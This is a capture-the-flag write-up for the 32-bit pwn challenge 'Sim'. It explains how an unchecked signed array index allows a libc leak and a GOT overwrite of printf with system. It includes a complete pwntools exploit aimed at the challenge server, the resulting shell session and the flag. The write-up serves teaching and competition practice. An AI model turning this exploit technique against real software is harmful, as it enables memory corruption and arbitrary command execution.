Sim

Description:
Welcome back Agent 007! As you can see, the simulator is running an arc right now. But the arc seems to be in a meltdown. Can you break its security with its own computational power and save it?

Author: Ath3n1x

Solution: This seems to be the last challenge where Agent 007 will be back. You know the drill by now, Checksec:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8046000)
    RUNPATH:  b'.'

Partial RELRO opens up the possibility of GOT overwrite. For a change, this is also a 32 bit binary contrary to the 64 bit binaries that we encountered in the challenges thus far. So the addresses are going to be 4 bytes. No PIE, which means that the addess of the GOT table remains the same.

On running the binary, we can see that we have 3 options: add`, `show`, `break_armour. All manipulates the reactor which is a global array declared as: char *reactor[3][4].

Now looking at the source code:

void add(){

    int idx;
    puts("Enter the index :");
    scanf("%d",&idx);
    puts("Enter the data :");
    read(0,reactor[idx],0x4);

}

idx is signed. Integer overflow is a possibility which allows negative indexing. Also, we can allocate/write anything at reactor+idx. This is particularly dangerous because we can modify the contents of the reactor array at any position specified by idx. If negative values are permitted, we could potentially overwrite critical areas of memory, such as the Global Offset Table (GOT), since both reactor and the GOT are stored in the BSS segment. By calculating the correct offset, we could overwrite a GOT entry with the address of the libc system function. This would allow us to hijack the program's execution flow and ultimately gain a shell.

void show(){
    int idx;
    puts("Enter the index :");
    scanf("%d",&idx);
    if(reactor[idx])
        printf("%s\n",reactor[idx]);
    else
        puts("Not allocated!");
}

There is no check in idx. This can be exploited to print the data stored at reactor+(-idx) location.

We can use the above to get more consistent libc leaks (addresses get randomized on each run due to ASLR). Then we can calculate the system address from the leaks. At last, we can overwrite GOT table entry of printf with the address (system) that we calculated.

    else if(choice == 3)
        {
            printf(break_);
        }

[In main] When the choice is 3, printf(break_); gets executed. So what if break_ is /bin/sh? Viola! There pops the shell.

Note: Alternatively, you can also make use of the format string vulnerability in the printf(break_) to get the required leaks.

from pwn import *
#p = process("./sim")

p = remote('13.234.11.113',32651)

def add(idx,data):
    p.sendlineafter("MELTDOWN)\n","1")
    p.sendlineafter("index :\n",str(idx))
    p.sendlineafter("data :\n",data)

def show(idx):
    p.sendlineafter("MELTDOWN)\n","2")

    p.sendlineafter("Enter the index :\n",str(idx))
def leave():
    p.sendlineafter("MELTDOWN)\n","3")

p.sendline("/bin/sh\x00")
show("268435454")

print("leaks:")
leak = u32(p.recvline()[:4].strip().ljust(4,b'\x00'))
print(hex(leak))
base = leak - 0x1d55c0
system = base + 0x3ce10
print("System address:", hex(system))
add("268435449", p32(system))

#gdb.attach(p)

leave()
p.interactive()

On running the script:

[*] Switching to interactive mode
Choose your ACTION:
1. add
2. show
3. break armour
$ ls
Dockerfile  flag.txt  ld-2.27.so  libc-2.27.so    libc.so.6  sim    sim.py    ynetd
$ cat flag.txt
shaktiCTF{Th3_4rc_15_s4v3d_4nd_h4ppy_pwn1ng}
$ exit

Flag: shaktictf{Th3_4rc_15_s4v3d_4nd_h4ppy_pwn1ng}